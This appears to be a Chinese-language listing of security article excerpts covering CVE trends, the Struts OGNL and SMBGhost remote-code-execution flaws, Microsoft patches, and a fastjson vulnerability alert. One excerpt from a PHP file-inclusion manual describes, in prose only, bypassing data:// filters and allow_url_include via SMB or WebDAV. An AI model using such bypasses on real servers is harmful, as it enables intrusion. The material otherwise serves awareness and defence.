  • SUMAP網絡空間測繪|2021年CVE漏洞趨勢安全分析報告
    對於今天的網際網路安全我們更需要通過模型監測方式來持續觀察漏洞趨勢和影響範圍,才能持續應對漏洞爆發之後的安全趨勢分析評估。 本文主要通過網絡測繪角度手機各種資產協議的版本號信息,通過比對cve漏洞影響範圍中的版本號方式進行安全風險趨勢分析,無任何實際危害網際網路行為。資產在攜帶版本中也會存在修復補丁後版本不變的情況。
  • PHP文件包含漏洞利用思路與Bypass總結手冊(三)
    Bypass-協議限制data://如果在我們使用文件包含漏洞時data://協議被限制,但是我們又想要使用的話該怎麼繞過,比如下面這段限制代碼分析代碼可知filename變量內容開頭不能出現PHP針對RFI URL包含限制主要是利用allow_url_include=Off來實現,將其設置為Off,可以讓PHP不加載遠程HTTP或FTP URL,從而防止遠程文件包含攻擊。那麼,我們是不是可以這樣想,有沒有什麼其它協議可以讓我們去包含遠程伺服器文件,答案是肯定的,例如SMB、WebDAV等協議。
  • CVE-2019-0230:Apache Struts OGNL遠程代碼執行漏洞詳解
    Apache Struts使用名為ActionContext的線程本地容器對象來存儲執行Action所需的各種對象。這些對象通常會包括會話標識符、請求參數、區域設置等。此外,ActionContext還公開了一個ValueStack接口,用於推送和存儲處理動態表達式語言(EL)所需的對象。當EL編譯器需要解析表達式時,它會從推送到堆棧中的最新對象開始向下搜索堆棧。
  • Win10新漏洞被稱「永恆之黑」 危害不亞於「永恆之藍」
    北京時間3月12日晚,微軟發布安全公告披露了一個最新的SMB遠程代碼執行漏洞(CVE-2020-0796),攻擊者利用該漏洞無須權限即可實現遠程代碼執行,一旦被成功利用,其危害不亞於永恆之藍,全球10萬臺伺服器或成首輪攻擊目標。
  • 微軟於2020年3月補丁日針對115個漏洞發布補丁
    在漏洞補丁發布時,尚未發現被積極利用的證據。2020年第一季度是微軟補丁程序更新繁忙的一個季度,第一季度共發布265個補丁程序。一起看看幾個有代表性的漏洞,更多細節請訪問微軟官方,獲取漏洞信息及補丁程序。
  • VLC遠程代碼執行漏洞不具有可再現性 Naver未實行內外網分離被罰
    本周安全資訊25 July 2019VLC開發人員聲明:此前曝光的遠程代碼執行漏洞不具有可再現性;韓國門戶網站Naver因未實行內外網分離被罰3千萬韓元;新惡意軟體曝光,可偽裝成微軟官方Office 365頁面據報導,研究人員發現偽裝成微軟官方Office 365頁面的新惡意軟體,頁面內包含指向微軟官方域名的連結,可在感染設備後通過TrickBot木馬獲取用戶密碼。
  • fastjson 被曝存在遠程代碼執行漏洞,等級「高危」
    fastjson 當前版本為 1.2.68 發布於 3 月底,日前某安全運營中心監測到,fastjson <= 1.2.68 版本存在遠程代碼執行漏洞,漏洞被利用可直接獲取伺服器權限。360CERT 將漏洞等級定為「高危」。